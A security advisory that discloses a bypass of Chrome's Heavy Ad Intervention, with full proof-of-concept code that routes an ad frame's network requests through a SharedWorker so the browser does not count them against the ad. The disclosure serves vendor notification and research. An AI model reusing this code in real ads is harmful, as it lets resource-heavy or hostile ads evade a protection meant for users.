SSD Advisory – Chrome Ad Heavy Bypass (via SharedWorker)

TL;DR

Find out how the Chrome Ad-Heavy detection mechanism can be bypassed, bypassing the mechanism would allow ads that are breaching the restrictions imposed by Chrome to still run.

Vulnerability Summary

An issue in the way Chrome tracks Ad-Heavy ads allows hostile ad writers to place ads that consume a large amount of memory and/or CPU to not get “killed” by the Chrome ad-heavy detection mechanism. While this doesn’t have a direct security vulnerability scope to it, we feel that Ad-Heavy mechanism offers protection against hostile malware/attacks that may disguise themselves as ads.

Credit

An independent security researcher, Alesandro Ortiz, has reported this bypass to the SSD Secure Disclosure program.

Affected Versions

  • All versions of Chrome that support Ad-Heavy (version 92.0.4515.159 and up)

Vendor Response

Google has been informed of the bypass via https://bugs.chromium.org/p/chromium/issues/detail?id=1245627 and has kept the state of the ticket open without taking any actions to remediate the bypass described. Several attempts to get an update went unanswered.

Vulnerability Analysis

The PoC provides a polyfill for window.fetch which delegates the network requests to a SharedWorker.

The shared worker’s bandwidth is not tracked as part of the ad unit, so can make the network request and then send the response back to the ad unit frame via postMessage without triggering Chrome’s ad intervention logic.

While the PoC uses shared workers, the bypass also works with service workers although the implementation is a bit more complex. The bypass does not work with web workers.

Demo

Exploit

<!-- adunit.html -->
<html>
<head>
<style>
* {
    font-family: 'Helvetica', sans-sarif;
}

.header {
    font-size: 1.5rem;
    font-weight: 700;
    color: red;
}
</style>
</head>
<body>
The frame will now start violating the heavy ad intervention rules, please hold...
<p class="header">DO NOT CLICK THIS FRAME!</p>
<small>Clicking this frame will disable heavy ad intervention on it</small>

<br/>
<p>
To ensure this is an ad:
<ol>
<li>Open DevTools (Ctrl + Shift + I)</li>
<li>Cutsomize and control DevTools (Three vertical dots) -> More tools -> Rendering</li>
<li>Enable `Highlight ad frames`</li>
</ol>

Verify that this frame is then colored red to ensure it is detected as an ad-frame by Chrome.
</p>
<div id="output"></div>
<script>
// Your heavy ad intervention bypass goes here:
// alert("Ad loaded - Insert your script in adunit.html");

/*
This is a very basic polyfill for window.fetch via a shared worker.
This works as a drop-in replacement to window.fetch.
It currently doesn't handle well errors or multiple simultaneous requests with the same URL,
but it works for demo purposes. More robust implementation can be made fairly easily.
To debug shared workers, need to use chrome://inspect/#workers
Delegated network requests will only appear in the shared worker's DevTools.
*/

var resolveResponse = {};
var sharedWorker = new SharedWorker('shared-worker.js');
sharedWorker.port.onmessage = (event) => {
  if (event.data.fetchUrl && event.data.fetchResponse) {
    console.info('Response:', event.data.fetchResponse);
    var response = new Response(event.data.fetchResponse);
    resolveResponse[event.data.fetchUrl](response);
    delete resolveResponse[event.data.fetchUrl]; // Save memory, not strictly needed
  } else {
    console.warn('Received unexpected message from shared worker');
  }
};

var originalFetch = window.fetch; // For easy behavior comparison
window.fetch = (fetchUrl) => {
  // Uncomment line below to see how PoC works with original fetch
  // return originalFetch(fetchUrl);

  return new Promise((resolve, reject) => {
    resolveResponse[fetchUrl] = resolve;
    // return resolveResponse[fetchUrl](new Response('Test response')); // For development purposes
    sharedWorker.port.postMessage({ fetchUrl: fetchUrl });
  });
}
</script>

<script defer="" type="text/javascript">
// Loop download of a 10MB file to trigger heavy ad intervention's network limit
function download() {
  // Removed recursive calling, since single resource load will trigger intervention.
  // Added output for verification purposes.
  // Using jsdeliver.net or same-origin file does not affect behavior
  // fetch('./big.bin').then(response => {
  fetch('https://cdn.jsdelivr.net/gh/ssd-secure-disclosure/challenges/chrome-ad-heavy/big.bin').then(response => {
    return response.text();
  }).then(response => {
    output.innerText = 'Response: '+response.substr(0,100)+'... (total length: '+response.length+')';
    // Feel free to test recursive calling if desired.
    // download();
  });
}
download();
</script>
</body>
</html>
/* gads.js */
"use strict";

const iframe = document.createElement("iframe");
iframe.src = "adunit.html";
iframe.style = "width: 98vw; height: 60vh";
document.body.appendChild(iframe);
/* shared-worker.js */
// Part of window.fetch polyfill, makes requests on behalf of page.
// To debug shared workers, need to use chrome://inspect/#workers
// Delegated network requests will only appear in the shared worker's DevTools.

self.onconnect = (event) => {
  var port = event.ports[0];

  port.onmessage = (event) => {
    if (event.data.fetchUrl) {
      var fetchUrl = event.data.fetchUrl;
      fetch(fetchUrl).then(response => {
        response.blob().then(blob => {
          port.postMessage({ fetchUrl: fetchUrl, fetchResponse: blob });
        });
      });
    } else {
      console.warn('Must send fetchUrl in message.');
    }
  }
}
<!-- index.html -->
<html>
<head></head>
<body>
<p>Hello! This is the main site. </p>
<p>The ad should be loaded below:</p>
<script src="gads.js"></script>
</body>
</html>